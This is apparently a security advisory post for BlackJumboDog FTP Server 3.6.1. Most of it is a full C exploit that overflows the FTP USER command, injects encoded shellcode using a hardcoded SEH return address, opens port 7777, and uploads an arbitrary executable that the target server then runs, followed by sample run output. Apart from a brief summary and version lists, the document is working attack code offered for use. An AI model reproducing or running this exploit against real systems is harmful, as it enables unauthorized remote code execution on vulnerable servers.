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BlackJumboDog FTP Server Remote Code Execution
------------------------------------------------------------------------
SUMMARY
In a previously featured article,
<http://www.securiteam.com/windowsntfocus/5AP040ADPW.html> BlackJumboDog
FTP Server Buffer Overflow, several buffer overflow vulnerabilities were
found leading to remote code execution. Presented below is an exploit code
that uploads an executable and runs it on the target system.
DETAILS
Vulnerable Systems:
* BlackJumboDog FTP server version 3.6.1
Immune Systems:
* BlackJumboDog FTP server version 3.6.2
Exploit:
/*
6.9.04|www.Delikon.de|Delikon
BlackJumboDog FTP Server Buffer Overflow version 3.6.1
http://www.securiteam.com/windowsntfocus/5AP040ADPW.html
Thx to Chew Keong TAN
C:\Codes\blackjumbodog\Release>bjdexploit 192.168.0.3 21 klein.exe
BlackJumboDog FTP Server Buffer Overflow version 3.6.1
http://www.securiteam.com/windowsntfocus/5AP040ADPW.html
Thx to Chew Keong TAN
Delikon|6.9.04|www.Delikon.de
[+] Connected.
220 FTP ( BlackJumboDog Version 3.6.1 ) ready
[+]Shellcode length: 461
[+] Sending the shellcode
[+] Sleeping
[+] Opening File
[+] File found ready to send
[+] Connected
[+] Sending executable.
....
[+] All done, server have now executed your executable!
[+] Have a nice day
*/
#include <stdio.h>
#include <string.h>
#include <winsock.h>
//opens a port on 7777
//where you can upload a exe
//after terminating the network connection to port 7777
//the exe gets executed
//you will find the asm sourcecode at www.delikon.de
//it also exits with ExitThread, so the shellcode don't crashes the
service
char shellcode[] = "\xEB"
"\x10\x58\x31\xC9\x66\x81\xE9\x4A\xFE\x80\x30\x88\x40\xE2\xFA\xEB\x05\xE8\xEB\xFF"
"\xFF\xFF\x61\xE0\x89\x88\x88\xD3\xDD\x01\x6D\xEE\x09\x64\xBC\x88\x01\x6E\xEE\x09"
"\x64\x84\x88\x60\x57\x88\x88\x88\x01\x4F\xDF\xE0\x06\xC6\x86\x64\x60\x63\x88\x88"
"\x88\x01\xCD\x80\x05\xDB\xB8\xDA\x77\xDD\x80\x01\xCD\x80\x05\xDB\xB3\x01\xDE\xBC"
"\xE2\x85\xD1\xEE\x09\x71\x8F\x88\xFD\x8B\x03\xF5\x80\x01\x86\xDF\x77\xFC\x03\x74"
"\x60\x37\x88\x88\x88\x03\x86\x01\xCC\x06\x74\x6A\x6A\xEE\x09\x64\x18\x89\xDC\xE0"
"\x89\x89\x88\x88\x77\xDE\x8C\xB9\x77\xDF\xDF\xDF\xDF\xCF\xDF\xCF\xDF\x77\x9E\x01"
"\x4B\xB9\x77\xDF\xDF\xE0\x8A\x88\x96\xE9\x01\x6A\xE2\x98\xDA\xDB\x77\xDE\x80\xDF"
"\xDB\x77\xDE\x84\xDF\xDE\xDB\x77\xDE\x98\x01\x4B\xE2\x88\xE2\x8E\xE2\x8C\xE2\x88"
"\xE2\x8F\xE0\x88\x88\x88\x68\x77\xFE\xBC\x77\xDE\xAC\x01\x4F\x09\x64\x14\x77\x77"
"\x77\x01\x6D\x05\xDD\xEC\xE2\x88\xE0\xEC\x88\x88\x88\xDA\xDB\x77\xDE\x9C\xB5\x77"
"\x77\x77\x77\xFC\x9D\xB5\x88\x88\x88\x88\xFC\x86\x05\xDD\xEC\xE2\x88\xD9\xD8\xDA"
"\xDF\x77\xDE\xA0\x63\x5D\xDB\x77\xDE\x90\xDF\x77\xDE\xA4\xE0\x8D\x88\x88\x88\x77"
"\xFE\xBC\x77\xDE\xA8\xB9\x77\xDF\x77\xDE\x94\xDD\xDE\xEC\x29\xB8\x88\x88\x88\x03"
"\xC8\x84\x03\xF8\x94\x25\x03\xE0\x80\x01\x60\xD6\xD5\x4A\x8C\x88\xDB\xDD\xDE\xDF"
"\x03\xE4\xAC\x90\x03\xCD\xB4\x03\xDC\x8D\xF0\x89\x62\x03\xC2\x90\x03\xD2\xA8\x89"
"\x63\x6B\xBD\xC1\x03\xBC\x03\x89\x66\xB9\x77\x74\xB9\x48\x24\xB0\x68\xFC\x8F\x49"
"\x47\x85\x89\x4F\x63\x7A\xB3\xF4\xAC\x9C\xFD\x69\x03\xD2\xAC\x89\x63\xEE\x03\x84"
"\xC3\x03\xD2\x94\x89\x63\x03\x8C\x03\x89\x60\x61\x8A\x88\x88\x88\xB9\x48\x01\x62"
"\xD7\xD6\xD5\xD3\x4A\x8C\x88\x60\x1B\x76\x77\x77\x51\x81\x7D\x25\x43\x65\x74\xB3"
"\x2C\x92\xF8\x4F\x2C\x25\xA6\x61\x6D\xC1\x0E\xC1\x3E\x91\x90\x6F\x6F\xF1\x4E\xF1"
"\x67\x46\x68\xE8\x10\x76\x02\x86\x2D\x9F\x88\xF4\x97\xF1\x82\x60\x73\x1F\x75\x87"
"\xDF\xDB\xBA\xD7\xBB\xBA\xA6\xCC\xC4\xC4\x88\xDA\xB8\xB8\xFC\xA6\xED\xF0\xED\x88";
int fileupload(int port,char *FileName,char* ip){
FILE* file;
int sockfd, numbytes;
struct hostent *he;
struct sockaddr_in their_addr;
char buf[1024];
char *a=NULL;
int read=0;
printf("[+] Opening File\n");
file = fopen(FileName,"rb");
if (file==NULL) {
printf("[-] Open Failed\n");
return 0;
}
printf("[+] File found ready to send\n");
if ((he=gethostbyname(ip)) == NULL) { // get the host info
printf("[-] GetHostByName() Error!\n");
return 0;
}
if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
printf("[-] Can't open socket!\n");
return 0;
}
their_addr.sin_family = AF_INET; // host byte order
their_addr.sin_port = htons(port); // port
their_addr.sin_addr = *((struct in_addr *)he->h_addr);
//memset(&(their_addr.sin_zero), '\0', 8); // zero the rest of
the struct
if (connect(sockfd, (struct sockaddr *)&their_addr,sizeof(struct
sockaddr)) == -1) {
printf("[-] Connecting error\n");
return 0;
}
printf("[+] Connected\n[+] Sending executable.\n");
while (!feof(file)) {
read = fread(buf,sizeof(char),sizeof(buf),file);
Sleep(200);
if ((numbytes=send(sockfd,buf,read,0)) == -1) {
printf("[-] Sending executable failed\n");
return 0;
}
printf(".");
}
printf("\n[+] All done, server have now executed your
executable!\n");
closesocket(sockfd);
WSACleanup();
return 1;
}
void banner(){
printf("BlackJumboDog FTP Server Buffer Overflow version
3.6.1\nhttp://www.securiteam.com/windowsntfocus/5AP040ADPW.html\nThx to
Chew Keong TAN\n");
printf("\nDelikon|6.9.04|www.Delikon.de\n");
}
void usage(){
printf("\nBJDExploit HOST PORT FileToUpload\n");
}
//#pragma lib <ws2_32.lib>
#pragma comment(lib,"ws2_32.lib")
int main(int argc,char *argv[]) {
int sockfd, numbytes;
//i have some problems with the ret-addresses
//only this one worked
//the SEH don't executes every address
// but i don't know the reason
DWORD RetAddr=0x6BD01395;
/* SYNCOR11.DLL XP sp2 full patched english version
6BD01395 5E POP ESI
6BD01396 33C0 XOR EAX,EAX
6BD01398 5D POP EBP
6BD01399 C2 0800 RETN 8
*/
struct hostent *he;
struct sockaddr_in their_addr;
char buf[1024];
int read=0;
WSADATA wsaData;
if(argc<3){
banner();
usage();
exit(1);
}
banner();
if(WSAStartup(0x101,&wsaData))
{
printf("[-] Unable to load winsock.\n");
return -1;
}
if ((he=gethostbyname(argv[1])) == NULL) { // get the host info
printf("[-] GetHostByName() Error!\n");
return -1;
}
if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
printf("[-] Can't open socket!\n");
return -1;
}
their_addr.sin_family = AF_INET; // host byte order
their_addr.sin_port = htons(atoi(argv[2])); // port
their_addr.sin_addr = *((struct in_addr *)he->h_addr);
//memset(&(their_addr.sin_zero), '\0', 8); // zero the rest of the
struct
if (connect(sockfd, (struct sockaddr *)&their_addr,sizeof(struct
sockaddr)) == -1) {
printf("[-] Connecting error\n");
return -1;
}
printf("\n[+] Connected.\n");
read=sizeof(buf);
numbytes=recv(sockfd,buf,read,0);
buf[numbytes]=0x00;
printf("%s \n",buf);
memset(buf,0x00,sizeof(buf));
Sleep(200);
strcpy(buf,"USER ");
memset(buf+strlen(buf),0x41,308);
memcpy(buf+strlen(buf),"\xeb\x06",2);
memset(buf+strlen(buf),0x41,2);
memcpy(buf+strlen(buf),&RetAddr,4);
strcat(buf,shellcode);
buf[strlen(buf)]='\x0a';
printf("[+]Shellcode length: %i \n",strlen(shellcode));
read =strlen(buf);
numbytes=send(sockfd,buf,read,0);
printf("[+] Sending the shellcode\n");
Sleep(2000);
printf("[+] Sleeping\n");
if(fileupload(7777,argv[3],argv[1]))
printf("[+] Have a nice day\n");
closesocket(sockfd);
WSACleanup();
return 0;
}
ADDITIONAL INFORMATION
The information has been provided by <mailto:jerome.athias@caramail.com>
"JXrXme" ATHIAS.
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